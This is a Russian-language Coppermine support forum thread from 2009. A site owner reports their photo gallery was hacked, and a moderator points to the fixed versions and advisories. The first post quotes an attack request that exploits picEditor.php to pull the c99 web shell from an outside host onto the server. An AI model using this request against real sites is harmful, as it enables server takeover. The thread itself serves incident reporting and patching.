Advanced search  

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Pages: [1]   Go Down

Author Topic: Срочно ! Взломали фотогалерею. Привожу при  (Read 5075 times)

0 Members and 1 Guest are viewing this topic.

pansionat

  • Coppermine newbie
  • Offline Offline
  • Posts: 13
Срочно ! Взломали фотогалерею. Привожу при
« on: February 02, 2009, 06:40:06 pm »
Срочно ! Взломали фотогалерею. К сожалению не очень сильно знаю английский. Но вот привожу лог залива постороних файлов через дырку в скрипте:
мой сайт/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files/c99shell.txt&CURRENT_PIC[filename]=/1.php

Надеюсь подправят уязвимость 
« Last Edit: February 04, 2009, 07:41:45 pm by Makc666 »
Logged

MISHA

  • Coppermine frequent poster
  • ***
  • Country: ru
  • Offline Offline
  • Gender: Male
  • Posts: 262
Re: Срочно ! Взломали фотогалерею. Привожу пример
« Reply #1 on: February 03, 2009, 01:53:13 pm »
версия 4.18 ? вроде там была уязвимость
Logged
Что бы Ктулху не воскрес, подпишись на RSS

pansionat

  • Coppermine newbie
  • Offline Offline
  • Posts: 13
Re: Уязвимость в picEditor.php
« Reply #2 on: February 03, 2009, 04:54:37 pm »
У меня версия этого файла 1.4.16
Но дело в том, что я сравнил файлы версий и разница тольв этом
Версия 1.4.16
<? starttable("100%", $lang_editpics_php['crop_title'], 3); ?>

Версия 1.4.19
<?php starttable("100%", $lang_editpics_php['crop_title'],?>

Неужели такое незначительное изменение устраняет проблему ?
Logged

MISHA

  • Coppermine frequent poster
  • ***
  • Country: ru
  • Offline Offline
  • Gender: Male
  • Posts: 262
Re: Срочно ! Взломали фотогалерею. Привожу пример
« Reply #3 on: February 04, 2009, 01:32:36 am »
я в этом полный ноль, советую обновить.
Logged
Что бы Ктулху не воскрес, подпишись на RSS

Makc666

  • Moderator
  • Coppermine addict
  • ****
  • Offline Offline
  • Gender: Male
  • Posts: 1614
  • Русский (ISO-8859-1) - Russian - Русский (Windows)
    • Makc's home page
Re: Срочно ! Взломали фотогалерею. Привожу при
« Reply #4 on: February 04, 2009, 07:45:31 pm »
То, что у Вас сделали, это уязвимость найденная и исправленная в версии 1.4.17
http://forum.coppermine-gallery.net/index.php/topic,51787.0.html

Также была и версия 1.4.19, которая тоже имела дыру:
http://forum.coppermine-gallery.net/index.php/topic,54235.0.html

Хочу обратить внимание, что уже вышла новая версия 1.4.20, где была исправлена серьезная уязвимость версии 1.4.19!
« Last Edit: February 24, 2009, 11:23:16 pm by Makc666 »
Logged
Pages: [1]   Go Up
« previous next »
 

Page created in 0.016 seconds with 15 queries.